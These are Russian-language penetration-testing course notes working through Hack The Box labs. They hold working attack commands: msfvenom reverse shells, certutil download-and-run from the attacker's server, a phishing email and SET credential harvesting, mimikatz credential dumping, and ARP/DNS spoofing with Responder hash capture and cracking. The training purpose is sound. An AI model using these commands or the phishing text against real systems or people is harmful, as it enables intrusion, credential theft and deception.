# Network Infrastructure attacks

# Внутреннее тестирование на проникновение в инфраструктурах
```
**Настройка даты и времени на Линукс**
sudo ntpdate [ip address of NTP server]
```
**Методология внутреннего пентеста**

**Как пентестер добирается до цели**

**Программа курса**

# Способы проникновения во внутреннюю сеть


**Методология внешнего пентеста на проникновение **!
[](https://i.imgur.com/HuVJYXW.png)
**Сбор данных о веб приложении**

Инъекция кода на пхп приложениях

### Horizontall machine
https://hackmd.io/@N0y8SsX2TN-aKTUtG8XT-g/rylO1PZO5#HTB-horizontall - очень подробно расписано
# Разведка
#nmap
Поиск Http сервисов с помощью nmap
nano /etc/hosts
10.10.11.105 horizontall.htb
nmap -Pn -n -vvv -T4 -sS -sV --version-all -sC -O -p- --open -oA full_scan_horizontall.htb horizontall.htb
где:
-Pn - выключить пинг-сканирование, и считать, что все целевые адреса существуют
-n - не выполняем обратный резолв
-vvv - подробнй вывод
-T4 - скорость, по дефолту Т3
-sS - syn сканирование открытых портов
-sV - определяем версию сервисов
–version-all - более расширенные проверки
-sC - нмап скриптинг энжин (дефолтный набор скриптов)
-O - определение версии ОС
-p- - сканирование всех портов(по умолчанию нмап сканит первые 1000 портов по TCP)
–open - хотим получить только открытые порты
-oA - вывод во всех форматах
full_scan_traverxec.htb - файлик с отчетом
traverxec.htb - имя нашей машинки
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
**Скан NMAP по основным портам (От Романа)**
sudo nmap -g 53 -vv -sS -sV --version-all -n --open --min-rate=200 --min-parallelism=256 -p 2375,623,27017,27018,27019,28017,44818,6379,4786,3050,2049,5800,5900,1521,1433,5432,6000,3306,3389,8080,8081,8443,8180,1311,80,88,111,113,264,443,445,139,389,512,513,514,548,593,554,8554,873,1090,1098,1099,4444,11099,47001,47002,10999,3128,3260,3299,5555,5984,8009,9100,9160,11211,135,21,22,23,79,10000,9000-9003,110,25,143,16379,26379,1540,1541,1560,2222,2022,1022,8000-8003,8090,9443,8888,8800,4848,8181,8008,7000-7004,8880,2121,8400,6129,992,5433,9200,9300,4321,2376,10255,5000,8983,8088,8383,4990,8500,6066,2301,2381,5060,9503,7070,7071,45000,45001,8686,9012,50500,11111,4445,5556 192.168.100.0/24 -oA full_tcp_scan_nmap
Определяем стек технологий с помощью **whatweb**
whatweb --list-plugins
whatweb -a 3 --log-brief=horizonall_whtweb.log http://api-prod.horizontall.htb
где:
а - агрессивный тип, всего их 4, отдельно почитать можно в хелпе
–log-brief - файл куда запишим лог сканирования
в выводе увидим
http://horizontall.htb
http://horizontall.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.10.11.105], Script, Title[horizontall], X-UA-Compatible[IE=edge], nginx[1.14.0]
Переберем директории с помощью gobuster
## gobuster
так же можем посмотреть конкретные опции для команда dir
gobuster dir -h
gobuster dir -u http://horizontall.htb -k -t 50 -b 404,403 -x txt,html,bak,old -o gb_hr.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
где:
-k - пропускаем проверку сертификаты
-t - количество потоков т.е. одновременных соединений
-b - исключаем коды, которые нам не интересны, например 404 или 403. Ответы с ними не смотрим
-x - список расширений, которые подходят к нашей технологии
-о - название файла куда пишим результат
-w - словарь
Для работы со словарями круто иметь seclist, можно взять с github или просто командой
apt install seclists
в выводе увидим:
===============================================================
Gobuster v3.1.0
```
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://horizontall.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,html,bak,old
[+] Timeout: 10s
===============================================================
2022/05/29 11:45:09 Starting gobuster in directory enumeration mode
===============================================================
```
/img (Status: 301) [Size: 194] [--> http://horizontall.htb/img/]
/index.html (Status: 200) [Size: 901]
/css (Status: 301) [Size: 194] [--> http://horizontall.htb/css/]
/js (Status: 301) [Size: 194] [--> http://horizontall.htb/js/]
По факту нам это ничего не дало. Поскольку на одном веб сервере может быть несколько веб-приложений, каждый из которых определяется виртуальным хостом.
Поэтому попробуем посмотреть доменные имена, виртуальные хосты
Перебираем виртуальные хосты с помощью gobuster
gobuster vhost -u http://horizontall.htb -t 150 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
в выводе увидим 1 виртуальный хост
Новое веб приложение с новым URL - Определяем стек технологий с помощью whatweb
whatweb -a 3 http://api-prod.horizontall.htb
Вывод:
http://api-prod.horizontall.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.10.11.105], Strict-Transport-Security[max-age=31536000; includeSubDomains], Title[Welcome to your API], UncommonHeaders[content-security-policy], X-Frame-Options[SAMEORIGIN], X-Powered-By[Strapi <strapi.io>], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block], nginx[1.14.0]
и тут нас интересует **X-Powered-By[Strapi <strapi.io>].** Если погуглить то увидим что это opensource фреймворк CMS но мы пока не знаем в какой директории используется оно. Для этого снова посканим директории
Новое веб-приложение - Переберем директории с помощью gobuster
gobuster dir -u http://api-prod.horizontall.htb -k -t 150 -b 404,403 -x txt,html,bak,old -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
В выводе увидим
sudo nmap -Pn -n -vvv -T4 -sS -sV --version-all -sC -O -p- --open -oA full_scan_horizontal horizontall.htb

## **whatweb** - собирает доп инфу о веб сервере (какие технологии используются)
whatweb --list-plugins
whatweb -a 3 --log-brief=horizontall_whatweb.log http://horizontall.htb
**gobuster**
**Перебор директории**
gobuster dir -u http://horizontall.htb -t 50 -b 404,403 -x txt,html,php,phps,old -o gb_hor.log -w list1.txt (словарь)
**словари**
seclists github - sudo apt install seclists!
https://github.com/danielmiessler/SecLists
[](https://i.imgur.com/GCmN5Kg.png)
gobuster dir -u http://horizontall.htb -t 50 -b 404,403 -x txt,html,php,bak,phps,old -o gb_hor.log -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
**Рекомендация в бою словарик использовать
raft-large-directories.txt**

**перебор виртуальных хостов**
gobuster vhost -u http://horizontall.htb -t 50 -w /usr/share/seclists/Discovery/DNS/subdomains-topmillion-110000.txt
seclists/discovery/DNS
subdomains-topmillion-10000.txt
https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS
PS. если получаем ответ 200 ок в wireshark - значит что то есть на виртуальном хосте

вносим этот виртуальных хост в sudo nano /etc/hosts

рт
api-prod.horizontall.htb
**whatweb**

определяем в какой директории расположен strapi
**gobuster**

gobuster dir -u http://api-prod.horizontall.htb -t 50 (количество потоков (не больше 100)) -b 404,403 -x txt,html,bak,old -o gb_apihor.log -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

**ищем эксплойты**
strapi cms exploit

wmap приложения
https://www.offensive-security.com/metasploit-unleashed/wmap-web-scanner/
sudo apt install terminator - терминал( поставить скролл на инфинити)

применяем эксплойт https://www.exploit-db.com/exploits/50239

**Запуск эксплойта**
python3 50239.py http://api-prod.horizontall.htb

в wireshark вводим icmp
и видим пинг в нашу сторону

можем получить reverse shell
Netcat ReverseBox - этот вариант подходит сюда!
[](https://i.imgur.com/3dHKDmn.png)

вызвали bash

less -r lp_horizontall.txt


поднимаем веб сервер, и скачиваем эксплойт на тачку 
```
nmap --script *vuln -ищет уязвимости
```
есть еще способ на машине **Horizontall**

глянуть уязвимость на 8000 порту
curl
## **Laravel v8** Смотреть атаку на машине Horizontall
атакуем этот фреймворк
пробрасываем через ssh
service ssh start


Фильтруется 22 порт, не дает подключится по ссш.
пока не дает подключить 8000 порт на наш кали

Перевешиваем 22 порт ссш на другой нестандартный.

Посмотреть как прокидывать порты через ссш.
**Магия SSH** https://habr.com/ru/post/331348/
________________________________
# Проникновение внутрь через службы удаленного доступа
## **VPN**


## **RDS, Citrix**

## **HackTheBox Endgame Xen**

входная точка 10.13.38.12
sudo nmap -PN -n -vv -T4 -sS -sV --version-all -sC -O -p- --open -oA full_scan_xen_intro 10.13.28.12

sudo nano /etc/hosts

смотрим исходники страницы, есть адрес электронной почты.
Запускаем gobuster, whatweb и смотрим что это такое

whatweb -a 3 --log-brief=humongousretail.com.log https://humongousretail.com/
При запуске gobuster будем указывать разширение Ьicrosoft-IIS/7.5

gobuster dir -u https://humongousretail.com/ -k -t 50 -b 404,403 -x txt,html,asp,aspx,bak,old -o gb_hr.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Мы нашли папку remote, где висит citrix


**telnet**
└─$ telnet humongousretail.com 25
Trying 10.13.38.12...
Connected to humongousretail.com.
Escape character is '^]'.
220 ESMTP MAIL Service ready (EXCHANGE.HTB.LOCAL)
ehlo test
250-CITRIX
250-SIZE 20480000
250-AUTH LOGIN
250 HELP
RCPT TO:test@humongousretail.com
503 must have sender first.
MAIL FROM:test@humongousretail.com
250 OK
RCPT TO:someemail@humongousretail.com
550 Unknown user
RCPT TO:jointheteam@humongousretail.com
250 OK

RCPT TO - проверка наличия почтовых ящиков
smtp-user-enum
sudo apt install smtp-user-enum

smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/namelist.txt -D humongousretail.com -t humongousretail.com -m 50
перебирает разные почты и смотрит ответ

! в настройках почтового сервера можно выключить ответ и не будет возможности перебора у злоумышленника


получилось 5 адресов почт
### **Чтобы получить учетные данные надо провести фишинговую атаку**
ПОднять клон,
Сформировать фишинговую ссылку,
подождать пока введут учетные данные.
Есть расширение для мозилы
single file
https://addons.mozilla.org/ru/firefox/addon/single-file/
скачиваем страничку
Поправляем страничку - добавляем кнопку
Поднимаем веб сервер с этой страницой
**Используем SET**
sudo apt install set
sudo setoolkit


указываем папку в которой лежит страница

Сделали фишинговую страницу
Выбор опций SET
2) Website Attack Vectors
3) Credential Harvester Attack Method - сбор учетных данных
3) Custom Import - кастомная версия сайта index.html, то что мы скачали
10.10.14.11 - указываем ip
/home/kali/site - указали папку где лежит страница
1
https://humongousretail.com/remote/auth/login.aspx
заменяем тег а на тег button

пересобираем сайт с командами выше.
Это был тест нашего фишингового сайта
**SWAKS**
sudo apt install swaks
**ОТправляем на каждый из почтовых ящиков**
Hello,
We just performed manitenance on our servers.
Please verify if you can still access the login:
http://10.10.14.11/
Regards,
IT Team
**Отправляем**
swaks --to sales@humongousretail.com --from it@humongousretail.com --header "Subject: Servers manitenance" --body body.txt --server humongousretail.com --port 25

Меняем текст письма, так как не получили ответ
НА проф уровне пентеста будем использовать **Gophish**
# Проникновение внутрь с вредоносным вложением (макрос Word)

MSedge
скачиваем виртуалку с паролем PasswOrd!

Используем metasploit office word macro
msfconsole -q

генерим документ с макросом

поднимаем hаndler

перезрдим в папку куда сгенерили макрос
поднимаем сервер

выключил windows defender antivirus


Макрос с функцией autoopen при открытии сразу открывается

getpid
grep 7684 sessions -i 1 -C ps (показывает все процессы сессии)
грепаем по номеру процесса

полезная нагрузка в поле документа

_______________
**Моя атака на комп**
![Uploading file..._f9p9ftj41]()
Получили шелл

открыли блокнот

____________________
# 3 занятие HTB xen, Setoolkit, Citrix
**Машина xen отправка фишинговых писем**

скопировали с шары файлы + файл emails.txt

Отправляем фишинговые письма, на разные почтовые ящики
Скрипт от преподавателя send.sh
берет утилиту swaks
иттерируется по почтовым адресам
и отправляет письмо каждому адресату, с тексом body.txt

корректироуем body ссылкой remote


**Поднимаем setoolkit**
* sudo setoolkit
Выбираем
1 Social ingineer attacks
2 Web site attack vectors
3 Credential Harvester Attack Method
3 Custom import
Указываем свой айпи


Клонируем папку, в которой хранится сайт

URL атакуемого сайта

скрипт отправляет каждому получателю из файла emails

Ждем ответ - Прилетел

несколько раз прогоняем, нам отвечают
Собрали креды

Далее нам надо залогинится
Сначала надо поставить citrix receiver

citrix скачать c telegram (Citrix - реализация терминальных служб и у него есть свой клиент)
wget http://ftp.de.debian.org/debian/pool/main/libi/libidn/libidn11_1.33-3_amd64.deb
поставить deb packet
sudo dpkg -i <name> - после этого citrix запустится
скачиваем клиент icaclientWeb c telegramm

[20:22] Роман Алферов
ctrl+shift+esc - запускается на кали диспетчер задач и можно выйти
dpkg -l | grep -i citrix (ищем цитрикс на нашей тачке, если надо удалить)
dpkg -r icaclient - удалить клиента
dpkg -l | grep -i citrix
Вошли под пользователем

Сохраняем launch.ica
Открываем
Получили доступ к машине и будем использовать ее как плацдарм для атаки
**Когда пробили машину, надо собрать инфу, пароли, повысить привилегии или запивотится**
Здесь ограничили возможность записи исполняемых файлов (на уровне интейфейса)

Это проводник explorer.exe (shell)

Нам нужно использовать другой интерпретатор чтобы его обойти
Можно создать скрипт
Показывать расширения файлов

Создали скрипт на powershell

запустили edit этого скрипта и получили из негоpowershell

**Этими методами мы обошли ограничение**
Запускаем С2 на пробитой машине, с помощью этого можем туннелироваться дальше
20:13

обфусцируем нагрузку с помощью meterpretter
генерим полезную нагрузку (exe) с обратным коннектом на свой хост
msfvenom -p windows/x64/meterpretter/reverce_tcp lhost=10.10.14.4 lport=8080 -f exe -o test.exe

**Все способы по трансферу файлов**
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Methodology%20and%20Resources
скачиваем бинарник с
payload all the things transfer file
используем **certutil** для Винды
поднимаем сервер
python3 -m http.server 80
поднимаем листенер метасплойт

set lhost tun0


скачал test.exe
certutil -urlcache -split -f http://10.10.14.4/test.exe test.exe
запустили бинарник test.exe


получили сессию метерпреттер

## Suggester **Повышаем привилегии на машине**
используем **suggester** - для поиска мисконфига, ядрерные эксплойты для винды, (он конечно не заменит winpeas, но сходу позволяет в метерпреттер проверить)
search suggester

указываем сессию
собираем информацию
Есть разные варианты повышения привилегии

ИСпользуем эксплойт always install elevation -
(msi файлы запускаются с правами системы)

зададим полезную нагрузку


Uploading the MSI - Скопировал в папку и он его запускает
Ждем сессию

Сессии открылись не возращается управление, дампим хэши локальных учетных записей из базы SAM

**база SAM хранятся учетные данные
В папке system32/ config - SAM/SECURITY/SYSTEM

**в ветке security хранятся учетные данные сервисов windows**
Еще можно открыть
Regedit

Делаем full control и сможем читать кусты

Проще
**PS.exe** создает службу которая крутится под SYSTEM, принимает команду и выполняет из под системы
pstools распаковываем
проще запускить ps.exe и запустить из под администратора cmd

sit - идентификатор безопасности пользователя
Утилита ps get sit - пощволяет получить ситы пользователя
В параметрах F & V - хранится пароль пользователя
hashdump вытаскивает учетные данные SAM

load kiwi
creds all
Вытащили учетные данные польз, которые выполнили вход в систему

Можно из памяти процесса LSASS вытаскивать процесс локального распределителя безопасности, он хранит хэши в абфусцированном виде, пользователей которые выполнили авторизацию
В открытом виде извлекаем пароли учетных записей, если есть пакеты которые используют креды в открытом виде, например пакет Wduggest

**ищем флаг админа**


Дальше Можем атаковать домен и другие учетные данные.
На клиентской винде можем
запатчить процесс от system - и сможем запустить некколько пользователей (сессий) - multirdp включаем
**mimikatz ts::multirdp**
**shadow rdp** - позволяет подключится к сессию (если предварительно в реестре ее включим) на клиентских машинах на любую сессию, без выбивания пользователя (включить предварительно shadow rdp в реестре) - пишем на своем компе

[20:55] Роман Алферов
hashdump - вытащили учетные данные
[20:55] Роман Алферов
load kiwi creds_all - вытащили учетные данные lsass пользователей вошедших в систему
load mimikatz
kiwi_cmd 'sekurlsa::logonpasswords'

search credentials (постмодули, которые вытаскивают учетные данные)

Самый прикольный credentian_collector - много что делает
___________
# **Физическое проникновение в здание и получение доступа к сети**
распростаненный доступ защиты сети 802.1X
стандарт, который определяет механизмы аутентифации на порту

EAPOL - фреймвор аутентификации

используем 1 метод


и копируем файлы **SAM, SECURITY6 SYSTEM**


+ меняем мак адресс легитимного устройства
radius client / radius server


копируем sam, security, system

wireshark - vlan 1 смотрим что есть
Вытащили хэш пароля машинной учетной записи

используя хэш этой учетки

**macchanger -m** - замена мак адреса
getmac - получить мак машинки
хэш машинной учетки

Более продвинутая атака инструментом **fenrir**


в качестве логина и пароля используем мак адресс

## **Проникновение внутрь через корпоративный WiFi**
Как устроен 802.1х концептия

EAP - фреймворк аутентификации, протокол канального уровня, работающий поверх ethernet, который используется для инкапсуляции себя методов аутентификации.
Есть некий набор форматов сообщений.



eap wpa enterprise можем поломать за 20 баксов crack.sh

надо использовать eap tls (аутентификация по сертификатам)
_____
### Настраиваем свою лабу для атаки 802.1x
Настроили switch

Проверили пинги

PS - надо смотреть видео по настройке.
Cоздали группу wifi

создаем юзера

добавим его в группу


Добавляем сертификаты


Настраиваем AD

Add roles





часть 2 Configure 802.1x

Часть 3 - configure access / configure radius cisco switch

## пассивный сбор данных
wireshark



man -in-the -middle на разные протоколы

**цель сетевой атаки - получить креды**
ethernet0.noPromisc = "TRUE"
bettercap arpspoof - с помощью этого инструмента проводим arp spoofing
sudo apt install bettercap
sudo bettercap -iface eth0


указываем цели

arp.spoof on
включаем ip forwarding on kali
cat /proc/sys/etc/
sysctl -w net.ipv4.ip_forward=1


можно записать трафик с помощью bettercap
pcreds - позволяет расшифровать трафик
dsniff https://github.com/lgandx/PCredz
_______________
# 4 Занятие 04.06.22 виды пентестов, ARP spoofing, DNS spoofing (ipv6 dns snoofing),Атака NBT-NS/LLMNR, mitm6, responder bettercap, inveight, intercepter-ng
**При устройстве на работу нам помогут все сертификаты**
Так же поможет - рейтинг на hack the box, root-me и других площадок.
Необходимо в резюме указывать конкретные программы, протоколы, OWASP - задача сначала пройти рекрутера.
**Виды пентестов** ВИды работ по анализу защищенности
1. Внешний инфраструктурный тест на проникновение ( в основном сервисы которые смотрят наружу ) (веб, openvpn, citrix, samba, ssh ....)
2. Внутренний тест на проникновение (1 неделя работы, 1 неделя отчет)
3. Анализ защищенности веб-приложений
4. Анализ защищенности мобильных приложений
5. Социотехнический тест на проникновение (социальная инженерия - подкидываем ссылку на фишинговую страницу, физическое проникновение в здание)
6. Анализ защищенности беспроводных сетей
7. Нагрузочное тестирование (имитация DDoS)
8. Анализ кода
9. Red Team Assesment - тестирование на проникновение в режиме red Team (игра без правил). Цель Рэд тима - проверить информационную безопасность, проверка работы SOK. Проверка работы скорости нахождения злоумышленника.

**Цель сетевой атаки - перехват учетных данных**
фишки ARP-spoofing
**DNS spoofing** - (на какждый днс запрос подменяем искомое имя на свой адрес) очень хорошо работает с **bettercup**

set arp.spoof.targets 192.168.198.142 - встаем шлюзом между машиной
set arp.spoof.internal true- все хосты нашей подсети будет спуфится (встаем между всеми хостами в сети)
set net.sniff.local true - включаем сниффер
set net.sniff.verbose true
set dns.spoof.address 192.168.198.135 - ай пи пишем наш - резолвит все dns имена, начинаем все днс запросы
set dns.spoof.domains * (задаем домен заказчика)(* любые домены подменяет)
net.sniff on - включаем сниффер
dns.sniff on
arp.spoof on

Всем хостам сети шлет что это кали (атакующая машина)
**Спуфит всю сеть**




**Атака Bettercap - На ходу подменяет айпишники - встает между маршрутизатором и всеми хостами**
* Такой спуфинг нам дает - любые имена резолвятся на комп атакующего, любой сервис будет отправлять трафик на комп атакующего
* Мы модем получить учетные данные клиента с помощью Responder (в режиме аналайз)

responder ловит данные


smb

PS. sudo pkill openvpn - убиваем процесс опенвпн на порту
Релейтим в ldap пароль админа
### **Защита от атаки ARP spoofing**

Если есть связка мак и айпи в таблице DHCP snooping table - то он пропускает в машину , он видит если злоумышленник пытается подключится, но его нет в таблице - не пропустит.
## **Атака IPv6 DNS spoofing или подложный дхцп сервер**
### mitm6
Атака будет проводится с помощью mitm6
https://github.com/dirkjanm/mitm6
sudo pip3 install mitm6 - установка
**Поднимаем mitm6** (подложный DHCP server и после DNS server)
* sudo mitm6 -i eth0 (все имена в себя резолвит)

mitm6 предлагает свой днс сервер
Днс 6 сервер имеет приоритет перед ДНС 4 сервер

Любые днс записи которые он запрашивает - резолвит в свой айпишник
**Понимаем responder**
* sudo nano responder.conf - конфиг файл

**Смотрим BD responder**
* sqlitebrowser Responder.db
![Uploading file..._hpyzvkocj]()
Смотрим логи респондера
/usr/share/responder/logs
sudo responder -I eth0 -A
Респондер слушает

Смотрим какие порты слушает респондер

sudo responder -I eth0 -Av - подробный режим детальный
Перехватили ХЭш - пробуем подбирать пароль
Извлекаем rockyou
cd /usr/share/wordlists
gunzip rockyou.txt.gz

ДЖОН брутит на процессоре
john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
**Hashcat** - приоритет отдают этому переборшику ( она брутит на ГПО)
hashcat -h | grep -i ntlm
* hashcat -a 0 -w 4 -m 5600 hash.txt /usr/share/wordlists/rockyou.txt - брутим по словарю ntlmv2


**УКАЗЫВАЕМ ДОМЕНЫ на спуф - mitm6**
White list Принцип белого списка - укзываем белый список доменов, на которые мы будем производить резолв.
при этом мы кладем всю сеть


sudo mitm6 -i eth0 -d company.local
Мы предупреждаем что на время атаки мы положим сеть и не будут работать сервисы компании. Весь трафик пойдет на нас, включая креды.
**black list - Любые домены, кроме домена компании**
Помимо того что Responder спуфит дхцп в6, .....
Сочетание флагов для респондера **slack**


### **Защита от атаки на DHCPv6**

DHCP snooping защита

https://networklessons.com/cisco/ccie-routing-switching-written/ipv6-dhcpv6-guard#:~:text=IPv6%20DHCPv6%20Guard%20is%20one,from%20(rogue)%20DHCPv6%20servers.
https://networklessons.com/cisco/ccie-routing-switching-written/ipv6-ra-guard
## **Атака NBT-NS/LLMNR** Актуальный тип атаки на винде 10 - у всех мы можем эту атаку провести
**Теория разрешения имен в Windows**
По дефолту эти протоколы работают всегда.
Разрешение имен в Windows. Допустим мы хотим разрезолвить какое-то имя. Сначала наш пк сравнит имя которое мы резолвим со своим именем, совпадает или нет. Если совпадает то возвращает свой апи адрес. Потом он смотрим в dnscache(В Windows файл C:\Windows\System32\drivers\etc\hosts проецируется в dnscache, в котором прописано соответсвие имен и адресов.) Если dnscache нет то он делает запрос на DNS сервер, а если и он ответил что не знает такого имени то он использует протоколы NBT-NS/LLMNR(широковещательный протокол который позволяет отправить широковещательный запрос всем хостам в вилане и спрашивает кто это имя и любой хост может ответить “это я”). NBT-NS протокол работает по IPv4, LLMNR - поддерживает и IPv6 и работает через мультикастные запросы, которые если на свиче мультикас не настроен работают так же как и броудкаст, а если и настроен то мы можем подписаться как мультикастная группа и тоже их получать.

ipconfig /displaydns

Пишем в hosts.txt

проверим что в dnscache появилось содержимое файла hosts
ipconfig /displaydns | findstr supertest
ipconfig /displaydns > C:\cache.txt

ping supertest

можем отвечать на запросы с помощью responder
sudo responder -I eth0 -v (подробно выводит все, но не отвечает - убрали флаг -А)

Responder отвечает на запрос несуществующего хостнейм,все скатилось до широковещательного протокола и респондером мы на него ответили
мы видим что тут через LLMNR разрезолвился адрес нашей Kali, файл сервер это не наш хост нейм в файле хост этого нет днс сервер не смог разрезолвить, все скатилось до широковещательных протоколов и респондер нам ответил
И вот наш хост 192.168.192.135 спрашивает броадкастно кто такой файловый сервер а мы ему отвечаем что это мы 192.168.192.133


ВВели несуществующий сайт, а в респондере мы ловим хэш


Запрос http резолвится на наш айпи

**И так любой сервис , поддерживаемый responder**
У всех запросит аутентификацию.
Relay - Relay атака подразумевает просто процесс повторения передачи данных https://habr.com/ru/company/otus/blog/561754/

Можем пользователю отправить ссылку - он на него переходит, а мы получаем хэш
### **Инструмент inveigh**
тот же респондер, только работает под винду - поднимает разные сервисы и запрашивает аутентификацию
https://github.com/Kevin-Robertson/Inveigh
Ставим на атакуемую машину inveigh и проведем атаки на винде

### **Intersepter-NG** - очень крутой инструмент для различных атак под винду

**PS На собеседовании - Я умеренно знаю такие то атаки, знаю как работают сетевые атаки, умею на практике реализовывать / Базовые знания в уязвимости веб приложений и тд... Главное не преукрашивать в резюме и на собеседовании**
**Пентестер должен понимать как утилита работает**
**ВNS PROTOCOL RFC - можно понять и изучить протокол, так же поднимаем wireshark и смотрим и изучаем**
Поднимать виндовс сервер, линукс сервер и изучать так.
# 5 урок 08.06.22 Cетевая атака WPAD - протокол автоматического обнаружения прокси
правило - на какие url ходить, с помощью какой прокси

при включенном этом параметре
при случае если дхцп сервер не выдал wpad сервер,
мы можем перехватить учетные данные, при доступе к разным ресурсам можем возращать аутентификацию
Так получим NetNtlm hash
Или можем стать прокси и читать данные
Второй вариант атаки - стать ДХЦП сервером и выдать WPAD сервер
Атака детектируется респондером

Будет прокси сервер, который перенаправляет данные

Запрашиваем аутентификацию

Не гоняем трафик, а просто спрашиваем аутентификацию

и запускаем браузер, проверяем аавтоматическое обнаружение в эксплорере (настройки)

такая функция доступна браузеру эксплорер и хром
Обновление это меняет работу с WPAD , не резолвится через llmnr, netDns, по этому в 10 нечего отправлять и не продемонстрировать эту атаку. На впад не должно резолвится широковещательно

Убираем патч на винде 7
cmd
systeminfo \ finder /i KB3161949 (номер этого патча)

заходим в программы, программы и фитчи


Находим и удаляем
Теперь через LMNR резолвится WPAD


sudo responder -I eth0 -wFv

Идем на яндекс.ру

запрос на впад с 7
а мы отвечаем на запрос своим айпи кали

запускаем
sudo responder -I eth0 -wPv ( потом аутентиф навязываем, уже при доступе к ресурсам)

пингуем яндекс на 7
Перехватывает http трафик

Это auth proxy - запрашивает аутентиф

а второй прокси - как реальный прокси - ловит трафик

мы предлагаем аутентификацию на порту 3128

Получили хэш

Коннект предоставил, отдал креды аутенификации

Браузер пошел на яндекс ру, а его запросили аутентификацию

В какой то момент трафик перенаправляет на второй прокси (мин 30 мб)
Почему нам прилетает через smb ?

отправляет картинку по smb
вместо страницы возвращает ссылку
sudo responder -I eth0 -wv (мы действуем как прокся)


Пошел через проксю, полился трафик

И все равно запрашивает аутентификацию
sudo responder -d (ответает на дхцп запросы и поднимает wpad сервер
Мы говорим что впад сервер наш

использует впад сервер , где брать wpad.dat
ЗАЩИТА: СОЗДАНИЕ ДНС ЗАПИСИ С ИМЕНЕМ WPAD и патчи
# 5 урок 08.06.22 Metasploit Framework


используется на разных этапа пентеста
Метасплойт - модульный
Есть разные API, для подключения к другим программам


Позволяет работать с питоном (подключаться с питона и работать)

metasploit pro - графическая веб-морда (платное)

armitage - бесплатное gui для metasploit

Из него вырос cobalt-strike (крутой С2 фреймворк - принимает соединение агентов и позволяет его использовать, используется на ред тиме)
Так же есть ФРЕЙМВОРК immunity canvas (Роман использовал на стендофе, на него есть много эксплойтов) - платный (есть one day exploit)
Core impact - фреймворк под винду

auxiliary - сканирование,поиск уязвимых машин, проверка доступа к разным сервисам с учетными данными
Exploits
Payloads - полезная нагрузка
Post modul - запускается на запущенной сессии
encoders предназначены для обхода антивиря( нынче лучше не использовать, потому что палятся)
Encodes - кодирование шелл кода
**Подключение БД**
- sudo systemctl start postgresql
Включаем аавтоматический запуск постгерса (субд)используется для хранения данных метасплойта

Подключается бд с учеткой , в которой хранит хосты, учетные данные и тд

- sudo msfdb init
- msfdb reinit (повтоорная инициализация)


- msfconsole -q (запуск без графики)
## **Auxiliary modul** сбор инфы
сбор информации

use auxiliary
auxiliary admin - администрирование разных сервисов

dos - отказ в обслуживании
fuzzers - фазинг ( передача приложению поток случайных данных)
gather - для сбора данных
scanner - сканеры уязвимостей/ проверки учетных данных, веб, smb
server - ftp , wpad,llmnr
spoof - подмена
crawler - обход веб страниц с индексацией, ползает по всем ссылкам веб ресурса и нам выводит #web_msf

Он обходит все ссылки
**Exploits**
use explout/multi/handler

## **Payloads**

show payloads


searchsploit ищет в exploitdb
searchsploit -u update - выкачивает эксплойты с сайта на тачку
можно еще искать через sploitus
google dorks
#полезная_нагрузка
#msfvenom
Генерим полезную нагрузку
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.198.135 lport=5555 -f exe -o rev1.exe
msfvenom -p windows/x64/meterpreter/reverse_http lhost=192.168.198.135 lport=6666 -f exe -o rev2.exe

Поднимем хендлер на разных портах, с разными нагрузками
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost eth0
set lport 5555
set exitonsession false
run -jz




python3 -m http.server 80
Подняли сервер, на 10 скачали нагрузки
Запускаем вайршарк




смотрим 2 сессию

! Для шифрования есть полезня нагрузка **RC4**(меньше палятся антивирями) больше используется при пентестах
#payload
use payload/windows/x64/meterpreter/reverse_tcp_rc4

Не советует препод - http, https (на них есть сигнатура)
## **Post modul**
Post-exploitation
Сбор и перечисление информации о системе и в домене
Pivoting
Сканирование
use post/windows/gather/credentials/credential_collector - вытаскивает креды
#scan_msf
сканирование портов portscan



пост модули для сканирования хостов, портов, сбора кредов , вай фай
## **Как устроены модули**

info - вся инфа о модуле

## Search
По этой инфе можно искать

psexec - тихая устанрвка программ на windows
#psexec
search psexec

#netapi_msf
search ms08_067
search name:mysql
search platfor:aix


searsh type:post - все пост модули по типу
search cve:2022 type:exploit
search -h
все эксплойты на vm ware 2021 года
search cve:2021 name:vmware

а можем **грепать**
греп что мы ищем, где мы ищем
grep windows search cve:2021

среди этого результата находим все строки содержащие виндовс
## **WOrkspace & Datastore**
Важно! Воркспейс позволяют организовать нашу работу, используется для разных проектов, для разделения информации
workspace -a name
worspace name перейти
#db_msf



**Настройка модуля**
options / show options
advanced - расширенные опции

required - yes обязательны для заполнения
Самая распространенная опция **Proxies**
Cоздаем соксу, через соску создает трафик
можно задавать опции глобально ( для всех послед опций/использований)
**setg** rhosts ...

setg threads 100 - кол-во потоков для всех модулей 100

**Обновление эксплойтов**
sudo apt install metasploit-framework
Все БД и модули метасплойта хранятся тут
/usr/share/metasploit-framework/
## **Сканирование**

Если большой скоуп сетей то используем сканер **masscan**
он проверяет наличие открыт порт или закрыт
и умеет получать баннеры первым tcp пакетом.
